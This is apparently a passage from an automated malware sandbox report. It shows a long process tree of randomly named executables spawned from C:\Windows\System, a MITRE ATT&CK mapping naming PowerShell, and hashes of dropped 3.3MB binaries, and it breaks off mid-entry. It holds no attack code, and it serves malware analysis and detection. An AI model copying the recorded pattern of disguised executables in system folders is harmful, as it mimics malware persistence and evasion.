  C:\Windows\System\JDfmzXu.exe
  2⤵
  PID:7676
- C:\Windows\System\GzIzHxJ.exe
  C:\Windows\System\GzIzHxJ.exe
  2⤵
  PID:7632
- C:\Windows\System\hUEClNj.exe
  C:\Windows\System\hUEClNj.exe
  2⤵
  PID:7916
- C:\Windows\System\xkdiNtV.exe
  C:\Windows\System\xkdiNtV.exe
  2⤵
  PID:7952
- C:\Windows\System\cbOKdCj.exe
  C:\Windows\System\cbOKdCj.exe
  2⤵
  PID:7496
- C:\Windows\System\lIsKMJT.exe
  C:\Windows\System\lIsKMJT.exe
  2⤵
  PID:7776
- C:\Windows\System\uvjZYeO.exe
  C:\Windows\System\uvjZYeO.exe
  2⤵
  PID:8116
- C:\Windows\System\bXhnqFx.exe
  C:\Windows\System\bXhnqFx.exe
  2⤵
  PID:7380
- C:\Windows\System\vrtGUTK.exe
  C:\Windows\System\vrtGUTK.exe
  2⤵
  PID:8036
- C:\Windows\System\FZYXUsv.exe
  C:\Windows\System\FZYXUsv.exe
  2⤵
  PID:8204
- C:\Windows\System\ZbzCnfP.exe
  C:\Windows\System\ZbzCnfP.exe
  2⤵
  PID:8220
- C:\Windows\System\jweIcBX.exe
  C:\Windows\System\jweIcBX.exe
  2⤵
  PID:8236
- C:\Windows\System\tgVcfld.exe
  C:\Windows\System\tgVcfld.exe
  2⤵
  PID:8252
- C:\Windows\System\iklaMBj.exe
  C:\Windows\System\iklaMBj.exe
  2⤵
  PID:8284
- C:\Windows\System\iqrbzNs.exe
  C:\Windows\System\iqrbzNs.exe
  2⤵
  PID:8300
- C:\Windows\System\ghwEFyS.exe
  C:\Windows\System\ghwEFyS.exe
  2⤵
  PID:8316
- C:\Windows\System\OnIydIt.exe
  C:\Windows\System\OnIydIt.exe
  2⤵
  PID:8332
- C:\Windows\System\EfezYmj.exe
  C:\Windows\System\EfezYmj.exe
  2⤵
  PID:8352
- C:\Windows\System\SKqOvAr.exe
  C:\Windows\System\SKqOvAr.exe
  2⤵
  PID:8368
- C:\Windows\System\zFqMkHO.exe
  C:\Windows\System\zFqMkHO.exe
  2⤵
  PID:8384
- C:\Windows\System\JupsACK.exe
  C:\Windows\System\JupsACK.exe
  2⤵
  PID:8400
- C:\Windows\System\YrBmNyX.exe
  C:\Windows\System\YrBmNyX.exe
  2⤵
  PID:8416
- C:\Windows\System\CSjzDRX.exe
  C:\Windows\System\CSjzDRX.exe
  2⤵
  PID:8436
- C:\Windows\System\kxYoBlT.exe
  C:\Windows\System\kxYoBlT.exe
  2⤵
  PID:8452
- C:\Windows\System\uLxqyft.exe
  C:\Windows\System\uLxqyft.exe
  2⤵
  PID:8468
- C:\Windows\System\IrsvDdx.exe
  C:\Windows\System\IrsvDdx.exe
  2⤵
  PID:8484
- C:\Windows\System\hMflcCC.exe
  C:\Windows\System\hMflcCC.exe
  2⤵
  PID:8500
- C:\Windows\System\hheLnkL.exe
  C:\Windows\System\hheLnkL.exe
  2⤵
  PID:8516
- C:\Windows\System\EElhzFq.exe
  C:\Windows\System\EElhzFq.exe
  2⤵
  PID:8532
- C:\Windows\System\ddWpsng.exe
  C:\Windows\System\ddWpsng.exe
  2⤵
  PID:8548
- C:\Windows\System\wrYljSH.exe
  C:\Windows\System\wrYljSH.exe
  2⤵
  PID:8564
- C:\Windows\System\bNysKxZ.exe
  C:\Windows\System\bNysKxZ.exe
  2⤵
  PID:8580
- C:\Windows\System\RNxKAjk.exe
  C:\Windows\System\RNxKAjk.exe
  2⤵
  PID:8596
- C:\Windows\System\XsRGWNN.exe
  C:\Windows\System\XsRGWNN.exe
  2⤵
  PID:8612
- C:\Windows\System\SrVznyq.exe
  C:\Windows\System\SrVznyq.exe
  2⤵
  PID:8628
- C:\Windows\System\PUCrvxO.exe
  C:\Windows\System\PUCrvxO.exe
  2⤵
  PID:8644
- C:\Windows\System\oxJLAjH.exe
  C:\Windows\System\oxJLAjH.exe
  2⤵
  PID:8660
- C:\Windows\System\emIWsyN.exe
  C:\Windows\System\emIWsyN.exe
  2⤵
  PID:8676
- C:\Windows\System\zVbBnWD.exe
  C:\Windows\System\zVbBnWD.exe
  2⤵
  PID:8692
- C:\Windows\System\SabAPUp.exe
  C:\Windows\System\SabAPUp.exe
  2⤵
  PID:8708
- C:\Windows\System\VufXvtX.exe
  C:\Windows\System\VufXvtX.exe
  2⤵
  PID:8724
- C:\Windows\System\LisMOXj.exe
  C:\Windows\System\LisMOXj.exe
  2⤵
  PID:8740
- C:\Windows\System\jnZRCaj.exe
  C:\Windows\System\jnZRCaj.exe
  2⤵
  PID:8756
- C:\Windows\System\OzESBKw.exe
  C:\Windows\System\OzESBKw.exe
  2⤵
  PID:8772
- C:\Windows\System\MIzUHWB.exe
  C:\Windows\System\MIzUHWB.exe
  2⤵
  PID:8788
- C:\Windows\System\DvOPLcm.exe
  C:\Windows\System\DvOPLcm.exe
  2⤵
  PID:8804
- C:\Windows\System\kFWkFFi.exe
  C:\Windows\System\kFWkFFi.exe
  2⤵
  PID:8820
- C:\Windows\System\zfHQrdS.exe
  C:\Windows\System\zfHQrdS.exe
  2⤵
  PID:8836
- C:\Windows\System\tXiSUUY.exe
  C:\Windows\System\tXiSUUY.exe
  2⤵
  PID:8988
- C:\Windows\System\rqBDcvF.exe
  C:\Windows\System\rqBDcvF.exe
  2⤵
  PID:9056
- C:\Windows\System\mWbRbNa.exe
  C:\Windows\System\mWbRbNa.exe
  2⤵
  PID:9076
- C:\Windows\System\XxvcjZo.exe
  C:\Windows\System\XxvcjZo.exe
  2⤵
  PID:9092
- C:\Windows\System\wtuERFs.exe
  C:\Windows\System\wtuERFs.exe
  2⤵
  PID:9108
- C:\Windows\System\ILdFjQH.exe
  C:\Windows\System\ILdFjQH.exe
  2⤵
  PID:9124
- C:\Windows\System\BVULXpF.exe
  C:\Windows\System\BVULXpF.exe
  2⤵
  PID:9140
- C:\Windows\System\IGGyrkn.exe
  C:\Windows\System\IGGyrkn.exe
  2⤵
  PID:9156
- C:\Windows\System\LXTgWUT.exe
  C:\Windows\System\LXTgWUT.exe
  2⤵
  PID:9172
- C:\Windows\System\cwEytiT.exe
  C:\Windows\System\cwEytiT.exe
  2⤵
  PID:9188
- C:\Windows\System\oDbzXut.exe
  C:\Windows\System\oDbzXut.exe
  2⤵
  PID:9204
- C:\Windows\System\bMoMXIw.exe
  C:\Windows\System\bMoMXIw.exe
  2⤵
  PID:7620
- C:\Windows\System\LwhjKSW.exe
  C:\Windows\System\LwhjKSW.exe
  2⤵
  PID:7572
- C:\Windows\System\mehovfy.exe
  C:\Windows\System\mehovfy.exe
  2⤵
  PID:8212
- C:\Windows\System\XazodIf.exe
  C:\Windows\System\XazodIf.exe
  2⤵
  PID:8152
- C:\Windows\System\wLkVRiO.exe
  C:\Windows\System\wLkVRiO.exe
  2⤵
  PID:6800
- C:\Windows\System\KkrIgbT.exe
  C:\Windows\System\KkrIgbT.exe
  2⤵
  PID:8200
- C:\Windows\System\fFXimWE.exe
  C:\Windows\System\fFXimWE.exe
  2⤵
  PID:7508
- C:\Windows\System\BCelpcL.exe
  C:\Windows\System\BCelpcL.exe
  2⤵
  PID:7980
- C:\Windows\System\MqBygac.exe
  C:\Windows\System\MqBygac.exe
  2⤵
  PID:8232
- C:\Windows\System\wfDKdAi.exe
  C:\Windows\System\wfDKdAi.exe
  2⤵
  PID:8380
- C:\Windows\System\IAzfTcV.exe
  C:\Windows\System\IAzfTcV.exe
  2⤵
  PID:8328
- C:\Windows\System\EfkmkfM.exe
  C:\Windows\System\EfkmkfM.exe
  2⤵
  PID:8492
- C:\Windows\System\utqpMny.exe
  C:\Windows\System\utqpMny.exe
  2⤵
  PID:8560
- C:\Windows\System\jNXJALC.exe
  C:\Windows\System\jNXJALC.exe
  2⤵
  PID:8624
- C:\Windows\System\cZzUIJq.exe
  C:\Windows\System\cZzUIJq.exe
  2⤵
  PID:8748
- C:\Windows\System\clwWtgu.exe
  C:\Windows\System\clwWtgu.exe
  2⤵
  PID:8344
- C:\Windows\System\xfGvxJy.exe
  C:\Windows\System\xfGvxJy.exe
  2⤵
  PID:8476
- C:\Windows\System\ibNUgwQ.exe
  C:\Windows\System\ibNUgwQ.exe
  2⤵
  PID:8572
- C:\Windows\System\fFGHZrv.exe
  C:\Windows\System\fFGHZrv.exe
  2⤵
  PID:8640
- C:\Windows\System\poSrgKd.exe
  C:\Windows\System\poSrgKd.exe
  2⤵
  PID:8408
- C:\Windows\System\ZdujlBx.exe
  C:\Windows\System\ZdujlBx.exe
  2⤵
  PID:8732
- C:\Windows\System\TeuJJTH.exe
  C:\Windows\System\TeuJJTH.exe
  2⤵
  PID:8736
- C:\Windows\System\OkKNHqt.exe
  C:\Windows\System\OkKNHqt.exe
  2⤵
  PID:8856
- C:\Windows\System\MFpkwZh.exe
  C:\Windows\System\MFpkwZh.exe
  2⤵
  PID:8876
- C:\Windows\System\QJlrayd.exe
  C:\Windows\System\QJlrayd.exe
  2⤵
  PID:8892
- C:\Windows\System\IGTxWAN.exe
  C:\Windows\System\IGTxWAN.exe
  2⤵
  PID:8916
- C:\Windows\System\nSaPPFi.exe
  C:\Windows\System\nSaPPFi.exe
  2⤵
  PID:8952
- C:\Windows\System\MOnKaLV.exe
  C:\Windows\System\MOnKaLV.exe
  2⤵
  PID:8976
- C:\Windows\System\NACEUdP.exe
  C:\Windows\System\NACEUdP.exe
  2⤵
  PID:8948
- C:\Windows\System\xUdQwWl.exe
  C:\Windows\System\xUdQwWl.exe
  2⤵
  PID:9072
- C:\Windows\System\MpCfqgS.exe
  C:\Windows\System\MpCfqgS.exe
  2⤵
  PID:9168
- C:\Windows\System\fMhpwVN.exe
  C:\Windows\System\fMhpwVN.exe
  2⤵
  PID:7312
- C:\Windows\System\QzqFwUg.exe
  C:\Windows\System\QzqFwUg.exe
  2⤵
  PID:9180
- C:\Windows\System\rCRkYEP.exe
  C:\Windows\System\rCRkYEP.exe
  2⤵
  PID:9024
- C:\Windows\System\iFkpTkg.exe
  C:\Windows\System\iFkpTkg.exe
  2⤵
  PID:9048
- C:\Windows\System\QPCcbed.exe
  C:\Windows\System\QPCcbed.exe
  2⤵
  PID:9088
- C:\Windows\System\ebyirbQ.exe
  C:\Windows\System\ebyirbQ.exe
  2⤵
  PID:9212
- C:\Windows\System\cSkkswY.exe
  C:\Windows\System\cSkkswY.exe
  2⤵
  PID:7332
- C:\Windows\System\iSOvHnb.exe
  C:\Windows\System\iSOvHnb.exe
  2⤵
  PID:8296
- C:\Windows\System\VhHceDt.exe
  C:\Windows\System\VhHceDt.exe
  2⤵
  PID:8020
- C:\Windows\System\yITXnEh.exe
  C:\Windows\System\yITXnEh.exe
  2⤵
  PID:7660
- C:\Windows\System\XSKTFvr.exe
  C:\Windows\System\XSKTFvr.exe
  2⤵
  PID:8196
- C:\Windows\System\wTqyTDj.exe
  C:\Windows\System\wTqyTDj.exe
  2⤵
  PID:8268
- C:\Windows\System\jUjsrLo.exe
  C:\Windows\System\jUjsrLo.exe
  2⤵
  PID:8340
- C:\Windows\System\DIIMtPF.exe
  C:\Windows\System\DIIMtPF.exe
  2⤵
  PID:8428
- C:\Windows\System\SfSLogS.exe
  C:\Windows\System\SfSLogS.exe
  2⤵
  PID:8464
- C:\Windows\System\uDrhaXM.exe
  C:\Windows\System\uDrhaXM.exe
  2⤵
  PID:8592
- C:\Windows\System\LbLqtyr.exe
  C:\Windows\System\LbLqtyr.exe
  2⤵
  PID:8716
- C:\Windows\System\BOeaEGS.exe
  C:\Windows\System\BOeaEGS.exe
  2⤵
  PID:8780
- C:\Windows\System\PmgxKOD.exe
  C:\Windows\System\PmgxKOD.exe
  2⤵
  PID:8508
- C:\Windows\System\pakAqyd.exe
  C:\Windows\System\pakAqyd.exe
  2⤵
  PID:8512
- C:\Windows\System\WQZYSoh.exe
  C:\Windows\System\WQZYSoh.exe
  2⤵
  PID:8608
- C:\Windows\System\oBOkobH.exe
  C:\Windows\System\oBOkobH.exe
  2⤵
  PID:8448
- C:\Windows\System\onIwbRq.exe
  C:\Windows\System\onIwbRq.exe
  2⤵
  PID:8852
- C:\Windows\System\zLSLpEq.exe
  C:\Windows\System\zLSLpEq.exe
  2⤵
  PID:8888
- C:\Windows\System\LKRyvHA.exe
  C:\Windows\System\LKRyvHA.exe
  2⤵
  PID:8912
- C:\Windows\System\fTvjqSt.exe
  C:\Windows\System\fTvjqSt.exe
  2⤵
  PID:8920
- C:\Windows\System\xisxzec.exe
  C:\Windows\System\xisxzec.exe
  2⤵
  PID:8984
- C:\Windows\System\OXNFhQy.exe
  C:\Windows\System\OXNFhQy.exe
  2⤵
  PID:9104
- C:\Windows\System\spawcoD.exe
  C:\Windows\System\spawcoD.exe
  2⤵
  PID:9068
- C:\Windows\System\AxXdutj.exe
  C:\Windows\System\AxXdutj.exe
  2⤵
  PID:8244
- C:\Windows\System\rlkDRSi.exe
  C:\Windows\System\rlkDRSi.exe
  2⤵
  PID:9016
- C:\Windows\System\HriqJEd.exe
  C:\Windows\System\HriqJEd.exe
  2⤵
  PID:9152
- C:\Windows\System\jsOsIVu.exe
  C:\Windows\System\jsOsIVu.exe
  2⤵
  PID:9120
- C:\Windows\System\MmaISAw.exe
  C:\Windows\System\MmaISAw.exe
  2⤵
  PID:7512
- C:\Windows\System\gpHoqIK.exe
  C:\Windows\System\gpHoqIK.exe
  2⤵
  PID:1780
- C:\Windows\System\QYoNvLd.exe
  C:\Windows\System\QYoNvLd.exe
  2⤵
  PID:8360
- C:\Windows\System\TSGfxaS.exe
  C:\Windows\System\TSGfxaS.exe
  2⤵
  PID:9020
- C:\Windows\System\RMNUwHL.exe
  C:\Windows\System\RMNUwHL.exe
  2⤵
  PID:8688
- C:\Windows\System\ssVpwuA.exe
  C:\Windows\System\ssVpwuA.exe
  2⤵
  PID:8672
- C:\Windows\System\rCPpuEm.exe
  C:\Windows\System\rCPpuEm.exe
  2⤵
  PID:8832
- C:\Windows\System\aFjZTGy.exe
  C:\Windows\System\aFjZTGy.exe
  2⤵
  PID:8940
- C:\Windows\System\DfGJgrQ.exe
  C:\Windows\System\DfGJgrQ.exe
  2⤵
  PID:8812
- C:\Windows\System\eCsJrKA.exe
  C:\Windows\System\eCsJrKA.exe
  2⤵
  PID:7456
- C:\Windows\System\NZcySyT.exe
  C:\Windows\System\NZcySyT.exe
  2⤵
  PID:8848
- C:\Windows\System\tJCPqcQ.exe
  C:\Windows\System\tJCPqcQ.exe
  2⤵
  PID:8872
- C:\Windows\System\tItVCYj.exe
  C:\Windows\System\tItVCYj.exe
  2⤵
  PID:8944
- C:\Windows\System\FQctuJS.exe
  C:\Windows\System\FQctuJS.exe
  2⤵
  PID:9000
- C:\Windows\System\yoWBprA.exe
  C:\Windows\System\yoWBprA.exe
  2⤵
  PID:8100
- C:\Windows\System\kPnJuzk.exe
  C:\Windows\System\kPnJuzk.exe
  2⤵
  PID:8656
- C:\Windows\System\qCpZeiv.exe
  C:\Windows\System\qCpZeiv.exe
  2⤵
  PID:9164
- C:\Windows\System\ytNHigx.exe
  C:\Windows\System\ytNHigx.exe
  2⤵
  PID:9232
- C:\Windows\System\iDkuZUo.exe
  C:\Windows\System\iDkuZUo.exe
  2⤵
  PID:9248
- C:\Windows\System\HQGzBMg.exe
  C:\Windows\System\HQGzBMg.exe
  2⤵
  PID:9264
- C:\Windows\System\qKGHfXI.exe
  C:\Windows\System\qKGHfXI.exe
  2⤵
  PID:9280
- C:\Windows\System\dSnCkaB.exe
  C:\Windows\System\dSnCkaB.exe
  2⤵
  PID:9296
- C:\Windows\System\kwhEPYg.exe
  C:\Windows\System\kwhEPYg.exe
  2⤵
  PID:9312
- C:\Windows\System\MFijwgb.exe
  C:\Windows\System\MFijwgb.exe
  2⤵
  PID:9328
- C:\Windows\System\TLpuClj.exe
  C:\Windows\System\TLpuClj.exe
  2⤵
  PID:9344
- C:\Windows\System\pARNsnx.exe
  C:\Windows\System\pARNsnx.exe
  2⤵
  PID:9360
- C:\Windows\System\kCCLpWh.exe
  C:\Windows\System\kCCLpWh.exe
  2⤵
  PID:9376
- C:\Windows\System\dZzlaya.exe
  C:\Windows\System\dZzlaya.exe
  2⤵
  PID:9392
- C:\Windows\System\KINCOcb.exe
  C:\Windows\System\KINCOcb.exe
  2⤵
  PID:9408
- C:\Windows\System\uUbdkjZ.exe
  C:\Windows\System\uUbdkjZ.exe
  2⤵
  PID:9424
- C:\Windows\System\PawPHAh.exe
  C:\Windows\System\PawPHAh.exe
  2⤵
  PID:9444
- C:\Windows\System\vAdPzPY.exe
  C:\Windows\System\vAdPzPY.exe
  2⤵
  PID:9460
- C:\Windows\System\vMeTSoX.exe
  C:\Windows\System\vMeTSoX.exe
  2⤵
  PID:9476
- C:\Windows\System\VOAwvTf.exe
  C:\Windows\System\VOAwvTf.exe
  2⤵
  PID:9492
- C:\Windows\System\wEsnBsV.exe
  C:\Windows\System\wEsnBsV.exe
  2⤵
  PID:9508
- C:\Windows\System\vxdqIWW.exe
  C:\Windows\System\vxdqIWW.exe
  2⤵
  PID:9528
- C:\Windows\System\ffIOsTT.exe
  C:\Windows\System\ffIOsTT.exe
  2⤵
  PID:9548
- C:\Windows\System\hbanIUV.exe
  C:\Windows\System\hbanIUV.exe
  2⤵
  PID:9564
- C:\Windows\System\YTocWps.exe
  C:\Windows\System\YTocWps.exe
  2⤵
  PID:9584
- C:\Windows\System\lYTMJOt.exe
  C:\Windows\System\lYTMJOt.exe
  2⤵
  PID:9600
- C:\Windows\System\cybunjD.exe
  C:\Windows\System\cybunjD.exe
  2⤵
  PID:9616
- C:\Windows\System\lmvWvLl.exe
  C:\Windows\System\lmvWvLl.exe
  2⤵
  PID:9640
- C:\Windows\System\PQaAZGR.exe
  C:\Windows\System\PQaAZGR.exe
  2⤵
  PID:9656
- C:\Windows\System\uBDzHJb.exe
  C:\Windows\System\uBDzHJb.exe
  2⤵
  PID:9676
- C:\Windows\System\hTSSqaG.exe
  C:\Windows\System\hTSSqaG.exe
  2⤵
  PID:9692
- C:\Windows\System\wkEIUKI.exe
  C:\Windows\System\wkEIUKI.exe
  2⤵
  PID:9712
- C:\Windows\System\YoiBEPD.exe
  C:\Windows\System\YoiBEPD.exe
  2⤵
  PID:9728
- C:\Windows\System\MPbucNE.exe
  C:\Windows\System\MPbucNE.exe
  2⤵
  PID:9744
- C:\Windows\System\ksQyIfC.exe
  C:\Windows\System\ksQyIfC.exe
  2⤵
  PID:9760
- C:\Windows\System\ErGPjKT.exe
  C:\Windows\System\ErGPjKT.exe
  2⤵
  PID:9776
- C:\Windows\System\QijPkWg.exe
  C:\Windows\System\QijPkWg.exe
  2⤵
  PID:9792
- C:\Windows\System\sVxzAYN.exe
  C:\Windows\System\sVxzAYN.exe
  2⤵
  PID:9808
- C:\Windows\System\CxDBsEE.exe
  C:\Windows\System\CxDBsEE.exe
  2⤵
  PID:9824
- C:\Windows\System\VjHXWBH.exe
  C:\Windows\System\VjHXWBH.exe
  2⤵
  PID:9856
- C:\Windows\System\KqYjQdN.exe
  C:\Windows\System\KqYjQdN.exe
  2⤵
  PID:9876
- C:\Windows\System\JyRnaMG.exe
  C:\Windows\System\JyRnaMG.exe
  2⤵
  PID:9892
- C:\Windows\System\yPnpGro.exe
  C:\Windows\System\yPnpGro.exe
  2⤵
  PID:9908
- C:\Windows\System\apqtSDa.exe
  C:\Windows\System\apqtSDa.exe
  2⤵
  PID:9924
- C:\Windows\System\tDEsSzN.exe
  C:\Windows\System\tDEsSzN.exe
  2⤵
  PID:9940
- C:\Windows\System\DDLZjyT.exe
  C:\Windows\System\DDLZjyT.exe
  2⤵
  PID:9956
- C:\Windows\System\ENCmEdj.exe
  C:\Windows\System\ENCmEdj.exe
  2⤵
  PID:9972
- C:\Windows\System\YZHULug.exe
  C:\Windows\System\YZHULug.exe
  2⤵
  PID:9988
- C:\Windows\System\CZIBSum.exe
  C:\Windows\System\CZIBSum.exe
  2⤵
  PID:10004
- C:\Windows\System\ffnjxOa.exe
  C:\Windows\System\ffnjxOa.exe
  2⤵
  PID:10020
- C:\Windows\System\FHDAWIm.exe
  C:\Windows\System\FHDAWIm.exe
  2⤵
  PID:10040
- C:\Windows\System\bZFSDnV.exe
  C:\Windows\System\bZFSDnV.exe
  2⤵
  PID:10056
- C:\Windows\System\uqJgTmA.exe
  C:\Windows\System\uqJgTmA.exe
  2⤵
  PID:10084
- C:\Windows\System\pmgmnoo.exe
  C:\Windows\System\pmgmnoo.exe
  2⤵
  PID:10124
- C:\Windows\System\yRksenE.exe
  C:\Windows\System\yRksenE.exe
  2⤵
  PID:10144
- C:\Windows\System\fiqmznV.exe
  C:\Windows\System\fiqmznV.exe
  2⤵
  PID:10160
- C:\Windows\System\WKiTXLl.exe
  C:\Windows\System\WKiTXLl.exe
  2⤵
  PID:10232
- C:\Windows\System\VoKYJCl.exe
  C:\Windows\System\VoKYJCl.exe
  2⤵
  PID:8908
- C:\Windows\System\pSztxRm.exe
  C:\Windows\System\pSztxRm.exe
  2⤵
  PID:8828
- C:\Windows\System\wPVVNVP.exe
  C:\Windows\System\wPVVNVP.exe
  2⤵
  PID:8396
- C:\Windows\System\WrfPEyp.exe
  C:\Windows\System\WrfPEyp.exe
  2⤵
  PID:6352
- C:\Windows\System\euQglWS.exe
  C:\Windows\System\euQglWS.exe
  2⤵
  PID:9224
- C:\Windows\System\qLjdKgU.exe
  C:\Windows\System\qLjdKgU.exe
  2⤵
  PID:8800
- C:\Windows\System\rLaUEPD.exe
  C:\Windows\System\rLaUEPD.exe
  2⤵
  PID:8936
- C:\Windows\System\Xaduzuw.exe
  C:\Windows\System\Xaduzuw.exe
  2⤵
  PID:9356
- C:\Windows\System\VlLRmFT.exe
  C:\Windows\System\VlLRmFT.exe
  2⤵
  PID:9456
- C:\Windows\System\WHhyhXi.exe
  C:\Windows\System\WHhyhXi.exe
  2⤵
  PID:9592
- C:\Windows\System\etkGhoN.exe
  C:\Windows\System\etkGhoN.exe
  2⤵
  PID:9632
- C:\Windows\System\itBKRIR.exe
  C:\Windows\System\itBKRIR.exe
  2⤵
  PID:9704
- C:\Windows\System\MPWaYqK.exe
  C:\Windows\System\MPWaYqK.exe
  2⤵
  PID:9768
- C:\Windows\System\FwpZxLH.exe
  C:\Windows\System\FwpZxLH.exe
  2⤵
  PID:9836
- C:\Windows\System\sCagVbq.exe
  C:\Windows\System\sCagVbq.exe
  2⤵
  PID:9852
- C:\Windows\System\liBakpS.exe
  C:\Windows\System\liBakpS.exe
  2⤵
  PID:9340
- C:\Windows\System\tNhPrOu.exe
  C:\Windows\System\tNhPrOu.exe
  2⤵
  PID:9240
- C:\Windows\System\qEAgeFf.exe
  C:\Windows\System\qEAgeFf.exe
  2⤵
  PID:9308
- C:\Windows\System\yNvhcKk.exe
  C:\Windows\System\yNvhcKk.exe
  2⤵
  PID:9652
- C:\Windows\System\lPbUpax.exe
  C:\Windows\System\lPbUpax.exe
  2⤵
  PID:9784
- C:\Windows\System\aOrALpF.exe
  C:\Windows\System\aOrALpF.exe
  2⤵
  PID:9888
- C:\Windows\System\RNUpkdr.exe
  C:\Windows\System\RNUpkdr.exe
  2⤵
  PID:9900
- C:\Windows\System\gavqvvS.exe
  C:\Windows\System\gavqvvS.exe
  2⤵
  PID:9904
- C:\Windows\System\NRqCgxT.exe
  C:\Windows\System\NRqCgxT.exe
  2⤵
  PID:10048
- C:\Windows\System\LpMrhkC.exe
  C:\Windows\System\LpMrhkC.exe
  2⤵
  PID:10036
- C:\Windows\System\tgCldcx.exe
  C:\Windows\System\tgCldcx.exe
  2⤵
  PID:10028
- C:\Windows\System\WRAnOyR.exe
  C:\Windows\System\WRAnOyR.exe
  2⤵
  PID:10076
- C:\Windows\System\fFurSyu.exe
  C:\Windows\System\fFurSyu.exe
  2⤵
  PID:10132
- C:\Windows\System\ddkhCip.exe
  C:\Windows\System\ddkhCip.exe
  2⤵
  PID:10140
- C:\Windows\System\tGMzbyu.exe
  C:\Windows\System\tGMzbyu.exe
  2⤵
  PID:8816

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system\CQcnRcQ.exe

Filesize
3.3MB

MD5
c71c5130fb80cb24658ac060840f3ea6

SHA1
b24929986f3f8a535b60c661e0e2b528319909ff

SHA256
53fe48c324c4b9509c5e6956558bb09b5a55d895435efe164374325cd618a149

SHA512
4cdd20b20118f96453ef5f359e87aaec6adef6fd36d17f1dfdb7681f622cb65e195db932c3a3ab730733b286de05bf22edcdcbc3a94147da59790db75d47d3fd

Download Submit
C:\Windows\system\DcnlVDp.exe

Filesize
3.3MB

MD5
15e6fa7d8f31df0173db5e210ff600b7

SHA1
b899863f45fba210547ed1a9b293ec6e399ba38b

SHA256
f9343a7465439d3d95deb87139fc272e01136f2abf4d3bca1e23113ff6672a9f

SHA512
04886d6583027f0f501ebd0dbadd569f5e873b8b4095335395e2101716a16089e7306e908a37bdbc9fd4e75a00a44d18c164b840e2ea8587ef95175914b563c5

Download Submit
C:\Windows\system\GmfUDsR.exe

Filesize
3.3MB

MD5
d0a849f52a3b0ad59378d0d7b7a8eaab

SHA1
bb32bd81f8450fa3daa6c90b7470cc4012edc177

SHA256
003a6bb1084a3d033f4439ad7bc9093bcf34e69333eb9f6e76134607fa70fd79

SHA512
e032be47d9c39b415679a9babff211a15454d14f582dc505c7c2ae5c4affd37a618938f3f908a4913a3e38e8fce5c658fff16f7ade588780bc39ab23c00bc69a

Download Submit
C:\Windows\system\IglfUbG.exe

Filesize
3.3MB

MD5
d340f37e2f2db282876cac421a00ef4e

SHA1
d335dc5e1eed959daa7ef1a0274de99e9e17acfa

SHA256
871fd7f3b3e7ccd0521aad413610b35357322553df0e5d00e4ca81c414bc3301

SHA512
d9f3e15c4f7acfa4b33ee8537c5fe9683a3f4263f821f7c07c0a0db4ecb6fc3aa4d5e6f185a6685e47186a4670ef9805903d7092e52930e45715694a16deeaa5

Download Submit
C:\Windows\system\JVttBqK.exe

Filesize
3.3MB

MD5
b8a93bbf4e54b0a1dd762ee3b15e9643

SHA1
4b669a53dc0393209b17d9f2edf68167192b3993

SHA256
1bd1ddde1211189dea6a2b7ca2368b2432d157e3efdf8461c0cc358baa61e48a

SHA512
915a77485e37e39de67a3e22921ad963ff93062ef0d2b2832bc0e852efa2510b4c314e5033a2f8a41876ab88866aaaa63248b89c50e633c47b503d5b13f32953

Download Submit
C:\Windows\system\PMIJqYX.exe

Filesize
3.3MB

MD5
99873bc46939243529f645f6a200baf7

SHA1
5ceaae7a85a310be41b80b9f59390e8bb5da4785

SHA256
e9e8e118eef8c7780cb5b16edec47132fb4cc83c1fb7aacfea6227b405051f9f

SHA512
053e1a07f1a8a9a5e3497935c0c9560c2727f8a9de6d057d67205a14726899b98116bc415fdd7a5abaafcd314964f460407d411ea8577cefb46567a783620380

Download Submit
C:\Windows\system\QYdyEqW.exe

Filesize
3.3MB

MD5
1a2e53ef03ad0668741c8058c4d45337

SHA1
ecc4e58382496bfc8e201cafcec28176c6fb4f41

SHA256
069eed67665810c5526e175fddedefffd8f4ceab739a9224ad7a19b521caf19b

SHA512
82b8e730b0becb492a796d7d9b6cd6ce7e0d817658bd572f1a6ce7f5dd89976ab03b8177e172d8989652f7455cc81d63c2cabb966362033be4483b9d11a91bf8

Download Submit
C:\Windows\system\XTiIlDd.exe

Filesize
3.3MB

MD5
34271ac67fe119b4cb5e052fe4cc8f71

SHA1
fdf8ddc725874fdc535e504ff3eabae2c448172f

SHA256
43deeb0eae3a198c4d62c48c2553bbf2af28f892afad19e7051fa950b87e9698

SHA512
1b1aaf86aa9fd85f6c04397dfdbdea37571b1dfce9ba82e8f1e71708d0085cd6b3b7907177c36cbf4cbb3164a71d8160ffb192db296c6268c32c163686996c21

Download Submit
C:\Windows\system\ZcWaeYC.exe

Filesize
3.3MB

MD5
cc87bafc8e780d6797c9ad61b289a8c6

SHA1
25fb3a732978fb67eaeb700e16ccf1f1e8913861

SHA256
ff6a34315bee0a0d3fb2012e47ccaa522e7b6cf2b38f2dd2885e353c8aaf1b5a

SHA512
046e9860a7777106d2b46323339a45bea394940d06ccd7d024b7eb27c6c245f5ed037508bd15f5b12739b0633acf3afcdb03e13ac8ea6a111e6f0eb90c7c2950

Download Submit
C:\Windows\system\avZEMOn.exe

Filesize
3.3MB

MD5
ff9473926d6195499f8769e97eb01c35

SHA1
e6ab466b75f47e88b2c0a2694c5109c0a75b28d4

SHA256
7cfea3d24a8c443b1a4cc7e2d4985edf70aba1f01de0b2fb8559e08b01a68c4d

SHA512
254a442b76e643e1c63b833f959ffe80f5b4ffcd691b081e4e2022dc7ce5bd3c0817502b839fced24fced4389e61b8ea60a175e7ea2b5c247dd4ab38bdb5aa09

Download Submit
C:\Windows\system\cccEobe.exe

Filesize
3.3MB

MD5
ed547c843eaf0c78e01ad950204e1bd1

SHA1
61bc08ed82f3ec9fc1d5b59f5f556a008b1e55e0

SHA256
72de94e6c39970113f08515d1c48f31e5e5ad5364295eaa39063e29170fb8d0c

SHA512
3234e5316fb9e7c0783a0da4c4544f98e7be0919dcb90d05897ef694fe9e36d994d8391e7e8e6359876534e368d842b62a77bdb8a67fbf077ff1ee38c403f983

Download Submit
C:\Windows\system\gRvoCpM.exe

Filesize
3.3MB

MD5
fe7d114d19534e2ff6b30e0fd3955e7b

SHA1
91b5916303faecae8000306bb4330ad95bd3bab1

SHA256
